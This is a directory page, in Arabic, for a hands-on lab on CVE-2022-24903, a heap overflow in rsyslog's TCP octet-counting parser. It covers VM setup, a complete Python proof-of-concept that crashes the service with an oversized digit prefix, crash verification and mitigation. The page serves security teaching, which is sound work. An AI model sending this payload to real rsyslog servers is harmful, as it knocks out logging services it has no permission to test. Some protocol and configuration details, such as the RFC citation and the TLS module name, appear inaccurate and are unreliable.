Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 تجاوز سعة المخزن المؤقت المستند إلى الكومة | Kitploit
أدوات/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
تحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 تجاوز سعة المخزن المؤقت المستند إلى الكومة

عرض المستودع
4منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مختبر عملي لثغرة CVE-2022-24903

المؤلف: Andrew Beshay Mousa

مختبر عملي تطبيقي يوضح ثغرة تجاوز سعة المخزن المؤقت في الكومة في rsyslog.

rsyslog CVE Type Protocol

بيئة مختبرية عملية لإعادة إنتاج وفهم ثغرة تجاوز سعة المخزن المؤقت في الكومة في rsyslog (CVE-2022-24903) عبر تأطير عدّاد الأوكتيت (octet-counted framing) في استقبال syslog عبر TCP.


جدول المحتويات

  • نظرة عامة
  • بنية المختبر
  • المتطلبات الأساسية
  • تفاصيل الثغرة
  • إعداد المختبر
    • الجهاز الهدف (أوبونتو)
    • جهاز المهاجم (كالي)
  • الاستغلال
  • التحقق
  • استكشاف الأخطاء وإصلاحها
  • التخفيف
  • المراجع

نظرة عامة

CVE-2022-24903 هي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة استقبال syslog عبر TCP في rsyslog (imtcp) عند استخدام تأطير عدّاد الأوكتيت (RFC 5425).

يمكن للمهاجم إرسال رسالة syslog عبر TCP مصمَّمة بعناية مع بادئة عدّاد أوكتيت طويلة بشكل مفرط، مما يتسبب في كتابة rsyslog خارج حدود مخزن مؤقت مخصص من الكومة، وينتج عن ذلك تعطيل الخدمة (DoS) أو تلف محتمل في الذاكرة.

السمةالقيمة
معرف CVECVE-2022-24903
الإصدارات المتأثرةrsyslog < 8.2204.1
ناقل الهجومالشبكة
المنفذ514/TCP
الوحدةimtcp (إدخال TCP)
الأثرDoS / تلف الكومة
احتمالية RCE؟لا (تقدير البائع)

بنية المختبر

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

الأجهزة الافتراضية المطلوبة

الجهاز الافتراضينظام التشغيلالدورIPالذاكرةالمعالج
الهدفUbuntu 22.04خادم rsyslog المُعرَّض للثغرة192.168.56.201 GB1
المهاجمKali Linuxمرسل الاستغلال192.168.56.102 GB1

ملاحظة: يمكنك استخدام أي إصدار من أوبونتو (20.04 أو 22.04 أو 24.04) كجهاز هدف. المفتاح هو التثبيت اليدوي لحزمة rsyslog 8.2001.0 المُعرَّضة للثغرة .deb.


المتطلبات الأساسية

  • VirtualBox أو VMware Workstation
  • ملف ISO لنظام Ubuntu 22.04 (~2 GB)
  • جهاز افتراضي Kali Linux (~4 GB)
  • شبكة Host-Only مهيأة في برنامج إدارة الأجهزة الافتراضية لديك
  • معرفة أساسية بأوامر لينكس ولغة Python

تفاصيل الثغرة

ما هو تأطير عدّاد الأوكتيت؟

في syslog عبر TCP (RFC 5425)، تُسبَق الرسائل بطولها بالبايتات:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

الثغرة

في إصدارات rsyslog المُعرَّضة للثغرة، يقوم محلل عدّاد الأوكتيت بما يلي:

  1. يجمّع الأرقام في مخزن مؤقت في الكومة بحجم ثابت
  2. لا يتحقق من حدود المخزن المؤقت أثناء كتابة الأرقام
  3. يواصل كتابة الأرقام حتى بعد تجاوز عدّاد الأوكتيت القيمة القصوى المسموحة
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

النتيجة: إرسال 9999... (5000+ رقم) يتجاوز سعة المخزن المؤقت في الكومة، مما يُتلف الذاكرة المجاورة.

لماذا يُعد استغلال RCE صعبًا؟

  • التجاوز مقصور على الأحرف الرقمية فقط (0-9)
  • المحلل يتوقف عند أول حرف غير رقمي
  • لا يمكن حقن كود شيل (shellcode) مباشرة
  • تعطيل الخدمة (DoS) مضمون؛ بينما يُعتبر استغلال RCE غير محتمل من قِبل البائع

إعداد المختبر

الخطوة 1: إعداد شبكة Host-Only

في برنامج إدارة الأجهزة الافتراضية لديك، أنشئ شبكة Host-Only:

  • الشبكة الفرعية: 192.168.56.0/24
  • DHCP: معطّل (عناوين IP ثابتة)

اربط الجهازين الافتراضيين بهذه الشبكة.


الخطوة 2: الجهاز الهدف (أوبونتو)

2.1 تعيين عنوان IP ثابت

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

الصق:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

طبّق:

root@kitploit:~
sudo netplan apply

تحقق:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 إيقاف وإزالة rsyslog الحديث

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 تنزيل وتثبيت rsyslog المُعرَّض للثغرة

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

إذا واجهت خطأ قفل dpkg:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

تحقق من الإصدار:

root@kitploit:~
rsyslogd -v | head -2

الناتج المتوقع:

root@kitploit:~
rsyslogd  8.2001.0

2.4 تعطيل AppArmor (للمختبر فقط)

قد يمنع AppArmor rsyslog من العمل بشكل صحيح مع الحزمة القديمة:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 إعداد rsyslog لاستقبال TCP على المنفذ 514

root@kitploit:~
sudo nano /etc/rsyslog.conf

امسح محتوى الملف والصق:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 فتح منفذ جدار الحماية

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 تشغيل rsyslog

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

تحقق من الاستماع:

root@kitploit:~
sudo ss -tlnp | grep 514

المتوقع:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

الخطوة 3: جهاز المهاجم (كالي)

3.1 تعيين عنوان IP ثابت

root@kitploit:~
sudo nano /etc/network/interfaces

الصق:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

أو إذا كنت تستخدم Netplan:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 إنشاء سكربت الاستغلال

root@kitploit:~
cd ~/Desktop
nano exploit.py

الصق:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

اجعل الملف قابلًا للتنفيذ:

root@kitploit:~
chmod +x exploit.py

الاستغلال

الفحص الأولي

من جهاز المهاجم، تحقق من الاتصال:

root@kitploit:~
nc -zv 192.168.56.20 514

المتوقع:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

تشغيل الاستغلال

root@kitploit:~
python3 ~/Desktop/exploit.py

الناتج المتوقع:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

التحقق

على الجهاز الهدف، تحقق من الانهيار:

الطريقة 1: التحقق مما إذا كان rsyslog لا يزال يعمل

root@kitploit:~
ps aux | grep rsyslog

إذا لم يكن هناك أي مخرجات -> فقد انهار rsyslog

الطريقة 2: فحص سجلات النواة

root@kitploit:~
sudo dmesg | tail -10

الناتج المتوقع:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

أو:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

الطريقة 3: فحص سجل systemd

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

الطريقة 4: إعادة التشغيل وإعادة الاختبار

لتأكيد إمكانية تكرار الانهيار:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

ثم أعد تشغيل الاستغلال من Kali. يجب أن يحدث الانهيار مرة أخرى.


استكشاف الأخطاء وإصلاحها

المشكلةالحل
Connection refusedrsyslog لا يعمل أو لا يستمع على TCP 514. تحقق من sudo systemctl status rsyslog و `sudo ss -tlnp
Unit rsyslog.service is maskedنفّذ sudo systemctl unmask rsyslog.service syslog.socket
dpkg frontend lockنفّذ sudo kill -9 <PID> ثم sudo rm -f /var/lib/dpkg/lock-frontend
AppArmor DENIED في dmesgنفّذ sudo systemctl stop apparmor && sudo systemctl disable apparmor
إصدار rsyslog هو 8.2112+لقد ثبّت الإصدار المُصحَّح. قم بتنزيل وتثبيت rsyslog_8.2001.0-1ubuntu1_amd64.deb يدويًا
لا يحدث انهيار بعد الاستغلالزد حجم الحمولة إلى b"9" * 20000

التخفيف

1. ترقية rsyslog

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

تحقق من الإصدار المُصحَّح:

root@kitploit:~
rsyslogd -v | head -2

يجب أن يكون 8.2204.1 أو أحدث.

2. تعطيل syslog عبر TCP إذا لم يكن ضروريًا

علّق في /etc/rsyslog.conf على:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. استخدم TLS/SSL (RFC 5425)

إذا كان syslog عبر TCP مطلوبًا، فاستخدم النقل المشفَّر:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. قيود جدار الحماية

اقصر منفذ TCP 514 على المضيفين الموثوقين فقط:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

المراجع

  • NVD - CVE-2022-24903
  • استشارة أمنية من rsyslog
  • إشعار أمان Ubuntu USN-5404-1
  • RFC 5424 - بروتوكول Syslog
  • RFC 5425 - ناقل TLS

إخلاء المسؤولية

هذا المختبر لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات.


الترخيص

هذا المشروع مرخّص بموجب رخصة MIT.


صُنع بالقهوة والفضول بواسطة Andrew Beshay Mousa.

تنزيل الأداة